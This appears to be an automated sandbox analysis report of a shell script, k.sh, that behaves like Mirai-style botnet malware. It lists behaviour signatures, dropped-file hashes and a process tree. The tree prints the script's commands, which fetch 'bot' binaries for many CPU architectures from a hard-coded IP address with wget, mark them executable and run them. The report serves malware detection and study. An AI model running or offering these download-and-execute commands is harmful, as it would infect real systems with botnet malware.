Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/09/2026, 20:48

General

  • Target
    k.sh
  • Size 2KB
  • Sample260901-zlsnfaef88
  • SHA256 487d71cde80b2bae91c6f2b408703c5c4d57d91653a28f725f776e58fff03a61
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 10 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Traces itself 5 IoCs

    Traces itself to prevent debugging attempts

  • Deletes log files 1 TTPs 5 IoCs

    Deletes log files on the system.

  • Modifies systemd 2 TTPs 4 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Write file to user bin folder 15 IoCs
  • Writes file to system bin folder 5 IoCs
  • Changes its process name 15 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 59 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 9 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/k.sh
    /tmp/k.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:650
    • /usr/bin/wget
      wget http://46.151.182.200/bot.x86
      2⤵
      • Writes file to tmp directory
      PID:656
    • /usr/bin/curl
      curl -O
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      PID:677
    • /tmp/http:/46.151.182.200/bot.x86
      http://46.151.182.200/bot.x86
      2⤵
        PID:679
      • /bin/cat
        cat bot.x86
        2⤵
          PID:681
        • /bin/chmod
          chmod +x bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/WTF
          ./WTF k
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://46.151.182.200/bot.mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            PID:686
          • /bin/cat
            cat bot.mips
            2⤵
            • System Network Configuration Discovery
            PID:688
          • /bin/chmod
            chmod +x bot.mips bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
            2⤵
            • File and Directory Permissions Modification
            PID:689
          • /tmp/WTF
            ./WTF k
            2⤵
              PID:690
            • /usr/bin/wget
              wget http://46.151.182.200/bot.arc
              2⤵
              • Writes file to tmp directory
              PID:692
            • /usr/bin/curl
              curl -O
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              PID:695
            • /tmp/http:/46.151.182.200/bot.arc
              http://46.151.182.200/bot.arc
              2⤵
                PID:699
              • /bin/cat
                cat bot.arc
                2⤵
                  PID:700
                • /bin/chmod
                  chmod +x bot.arc bot.mips bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:702
                • /tmp/WTF
                  ./WTF k
                  2⤵
                    PID:704
                  • /usr/bin/wget
                    wget http://46.151.182.200/bot.i486
                    2⤵
                    • Writes file to tmp directory
                    PID:706
                  • /usr/bin/curl
                    curl -
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    PID:724
                  • /bin/cat
                    cat bot.i486
                    2⤵
                      PID:730
                    • /bin/chmod
                      chmod +x bot.arc bot.i486 bot.mips bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:732
                    • /tmp/WTF
                      ./WTF k
                      2⤵
                        PID:735
                      • /usr/bin/wget
                        wget http://46.151.182.200/bot.i686
                        2⤵
                        • Writes file to tmp directory
                        PID:738
                      • /usr/bin/curl
                        curl -
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        PID:752
                      • /bin/cat
                        cat bot.i686
                        2⤵
                          PID:754
                        • /bin/chmod
                          chmod +x bot.arc bot.i486 bot.i686 bot.mips bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:755
                        • /tmp/WTF
                          ./WTF k
                          2⤵
                            PID:756
                          • /usr/bin/wget
                            wget http://46.151.182.200/bot.x86_64
                            2⤵
                            • Writes file to tmp directory
                            PID:758
                          • /usr/bin/curl
                            curl
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            PID:759
                          • /bin/cat
                            cat bot.x86_64
                            2⤵
                              PID:761
                            • /bin/chmod
                              chmod +x bot.arc bot.i486 bot.i686 bot.mips bot.x86 bot.x86_64 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:762
                            • /tmp/WTF
                              ./WTF k
                              2⤵
                                PID:763
                              • /usr/bin/wget
                                wget http://46.151.182.200/bot.mpsl
                                2⤵
                                • Writes file to tmp directory
                                PID:765
                              • /usr/bin/curl
                                curl -
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:826
                              • /bin/cat
                                cat bot.mpsl
                                2⤵
                                  PID:828
                                • /bin/chmod
                                  chmod +x bot.arc bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:829
                                • /tmp/WTF
                                  ./WTF k
                                  2⤵
                                    PID:830
                                  • /usr/bin/wget
                                    wget http://46.151.182.200/bot.arm
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:832
                                  • /usr/bin/curl
                                    curl -O
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    PID:833
                                  • /tmp/http:/46.151.182.200/bot.arm
                                    http://46.151.182.200/bot.arm
                                    2⤵
                                      PID:834
                                    • /bin/cat
                                      cat bot.arm
                                      2⤵
                                        PID:835
                                      • /bin/chmod
                                        chmod +x bot.arc bot.arm bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:836
                                      • /tmp/WTF
                                        ./WTF k
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Traces itself
                                        • Deletes log files
                                        • Modifies systemd
                                        • Write file to user bin folder
                                        • Writes file to system bin folder
                                        • Changes its process name
                                        • Reads runtime system information
                                        • Writes file to shm directory
                                        • Writes file to tmp directory
                                        PID:837
                                        • /usr/local/sbin/systemctl
                                          systemctl daemon-reload
                                          3⤵
                                            PID:843
                                          • /usr/local/bin/systemctl
                                            systemctl daemon-reload
                                            3⤵
                                              PID:843
                                            • /usr/sbin/systemctl
                                              systemctl daemon-reload
                                              3⤵
                                                PID:843
                                              • /usr/bin/systemctl
                                                systemctl daemon-reload
                                                3⤵
                                                  PID:843
                                                • /sbin/systemctl
                                                  systemctl daemon-reload
                                                  3⤵
                                                    PID:843
                                                  • /bin/systemctl
                                                    systemctl daemon-reload
                                                    3⤵
                                                    • Enumerates kernel/hardware configuration
                                                    • Reads runtime system information
                                                    PID:843
                                                • /usr/bin/wget
                                                  wget http://46.151.182.200/bot.arm5
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:839
                                                • /usr/bin/curl
                                                  curl -
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  PID:856
                                                • /bin/chmod
                                                  chmod +x bot.arc bot.arm bot.arm5 bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:859
                                                • /tmp/WTF
                                                  ./WTF k
                                                  2⤵
                                                  • Modifies Watchdog functionality
                                                  • Traces itself
                                                  • Deletes log files
                                                  • Modifies systemd
                                                  • Write file to user bin folder
                                                  • Writes file to system bin folder
                                                  • Changes its process name
                                                  • Reads runtime system information
                                                  • Writes file to shm directory
                                                  • Writes file to tmp directory
                                                  PID:860
                                                  • /usr/local/sbin/systemctl
                                                    systemctl daemon-reload
                                                    3⤵
                                                      PID:866
                                                    • /usr/local/bin/systemctl
                                                      systemctl daemon-reload
                                                      3⤵
                                                        PID:866
                                                      • /usr/sbin/systemctl
                                                        systemctl daemon-reload
                                                        3⤵
                                                          PID:866
                                                        • /usr/bin/systemctl
                                                          systemctl daemon-reload
                                                          3⤵
                                                            PID:866
                                                          • /sbin/systemctl
                                                            systemctl daemon-reload
                                                            3⤵
                                                              PID:866
                                                            • /bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:866
                                                          • /usr/bin/wget
                                                            wget http://46.151.182.200/bot.arm6
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:862
                                                          • /usr/bin/curl
                                                            curl -
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            PID:879
                                                          • /bin/chmod
                                                            chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:882
                                                          • /tmp/WTF
                                                            ./WTF k
                                                            2⤵
                                                            • Modifies Watchdog functionality
                                                            • Traces itself
                                                            • Deletes log files
                                                            • Modifies systemd
                                                            • Write file to user bin folder
                                                            • Writes file to system bin folder
                                                            • Changes its process name
                                                            • Reads runtime system information
                                                            • Writes file to shm directory
                                                            • Writes file to tmp directory
                                                            PID:883
                                                            • /usr/local/sbin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                                PID:889
                                                              • /usr/local/bin/systemctl
                                                                systemctl daemon-reload
                                                                3⤵
                                                                  PID:889
                                                                • /usr/sbin/systemctl
                                                                  systemctl daemon-reload
                                                                  3⤵
                                                                    PID:889
                                                                  • /usr/bin/systemctl
                                                                    systemctl daemon-reload
                                                                    3⤵
                                                                      PID:889
                                                                    • /sbin/systemctl
                                                                      systemctl daemon-reload
                                                                      3⤵
                                                                        PID:889
                                                                      • /bin/systemctl
                                                                        systemctl daemon-reload
                                                                        3⤵
                                                                        • Enumerates kernel/hardware configuration
                                                                        • Reads runtime system information
                                                                        PID:889
                                                                    • /usr/bin/wget
                                                                      wget http://46.151.182.200/bot.arm7
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:885
                                                                    • /usr/bin/curl
                                                                      curl -
                                                                      2⤵
                                                                      • Checks CPU configuration
                                                                      • Reads runtime system information
                                                                      PID:902
                                                                    • /bin/chmod
                                                                      chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:905
                                                                    • /tmp/WTF
                                                                      ./WTF k
                                                                      2⤵
                                                                      • Modifies Watchdog functionality
                                                                      • Traces itself
                                                                      • Deletes log files
                                                                      • Modifies systemd
                                                                      • Write file to user bin folder
                                                                      • Writes file to system bin folder
                                                                      • Changes its process name
                                                                      • Reads runtime system information
                                                                      • Writes file to shm directory
                                                                      • Writes file to tmp directory
                                                                      PID:906
                                                                      • /usr/local/sbin/systemctl
                                                                        systemctl daemon-reload
                                                                        3⤵
                                                                          PID:912
                                                                        • /usr/local/bin/systemctl
                                                                          systemctl daemon-reload
                                                                          3⤵
                                                                            PID:912
                                                                          • /usr/sbin/systemctl
                                                                            systemctl daemon-reload
                                                                            3⤵
                                                                              PID:912
                                                                            • /usr/bin/systemctl
                                                                              systemctl daemon-reload
                                                                              3⤵
                                                                                PID:912
                                                                              • /sbin/systemctl
                                                                                systemctl daemon-reload
                                                                                3⤵
                                                                                  PID:912
                                                                                • /bin/systemctl
                                                                                  systemctl daemon-reload
                                                                                  3⤵
                                                                                  • Enumerates kernel/hardware configuration
                                                                                  • Reads runtime system information
                                                                                  PID:912
                                                                              • /usr/bin/wget
                                                                                wget http://46.151.182.200/bot.ppc
                                                                                2⤵
                                                                                • Writes file to tmp directory
                                                                                PID:908
                                                                              • /usr/bin/curl
                                                                                curl -O
                                                                                2⤵
                                                                                • Checks CPU configuration
                                                                                • Reads runtime system information
                                                                                PID:925
                                                                              • /tmp/http:/46.151.182.200/bot.ppc
                                                                                http://46.151.182.200/bot.ppc
                                                                                2⤵
                                                                                  PID:926
                                                                                • /bin/chmod
                                                                                  chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i486 bot.i686 bot.mips bot.mpsl bot.ppc bot.x86 bot.x86_64 k.sh WTF
                                                                                  2⤵
                                                                                  • File and Directory Permissions Modification
                                                                                  PID:928
                                                                                • /tmp/WTF
                                                                                  ./WTF k
                                                                                  2⤵
                                                                                  • Modifies Watchdog functionality
                                                                                  • Traces itself
                                                                                  • Deletes log files
                                                                                  • Write file to user bin folder
                                                                                  • Writes file to system bin folder
                                                                                  • Changes its process name
                                                                                  • Reads runtime system information
                                                                                  • Writes file to shm directory
                                                                                  • Writes file to tmp directory
                                                                                  PID:929

                                                                              Network

                                                                                    MITRE ATT&CK Enterprise v16

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    .network-dispatch

                                                                                    • Path /dev/mqueue/.network-dispatch
                                                                                    • Size 4KB
                                                                                    • SHA256 b8cdee7f3618c1abd84f787630a543e1d55960f24d19611197f78ce3c57b2489
                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                    network-dispatch.service

                                                                                    • Path /etc/systemd/system/network-dispatch.service
                                                                                    • Size 228B
                                                                                    • SHA256 f0a4522d9cacf37bc711ef07c7a07d2627ac3fb2a25e13e1695db14896da415e
                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                    WTF

                                                                                    • Path /tmp/WTF
                                                                                    • Size 504KB
                                                                                    • SHA256 2bdcd6e8a368c28488926a4773bf4cc2d5840ced8cb6499e417c3743cec7c44c
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                    WTF

                                                                                    • Path /tmp/WTF
                                                                                    • Size 304KB
                                                                                    • SHA256 f8a45723a8bcd8f0858b958a9d61f38a7b657949ffe3d43038be0e7f562c24d0
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                    WTF

                                                                                    • Path /tmp/WTF
                                                                                    • Size 315KB
                                                                                    • SHA256 20e0b568507ba65e67672f860905880e5fea56654285f9b258675b5eae473b01
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                    WTF

                                                                                    • Path /tmp/WTF
                                                                                    • Size 508KB
                                                                                    • SHA256 238e26f7c0dacde86534e8f1a3564d0ae5ede8c791cc446c381a89c17952e6eb
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                    bot.x86

                                                                                    • Path /tmp/bot.x86
                                                                                    • Size 358KB
                                                                                    • SHA256 c5badbc7eb2ff4f904156ed9b517c22c7dfba122e540dfbf7f0d4156d7a9976d
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                    network-dispatch

                                                                                    • Path /usr/local/bin/network-dispatch
                                                                                    • Size 410KB
                                                                                    • SHA256 3cf3edeeeac605be90d682b402ca8f34841633b05b45be6be2c50d30e5563fb2
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH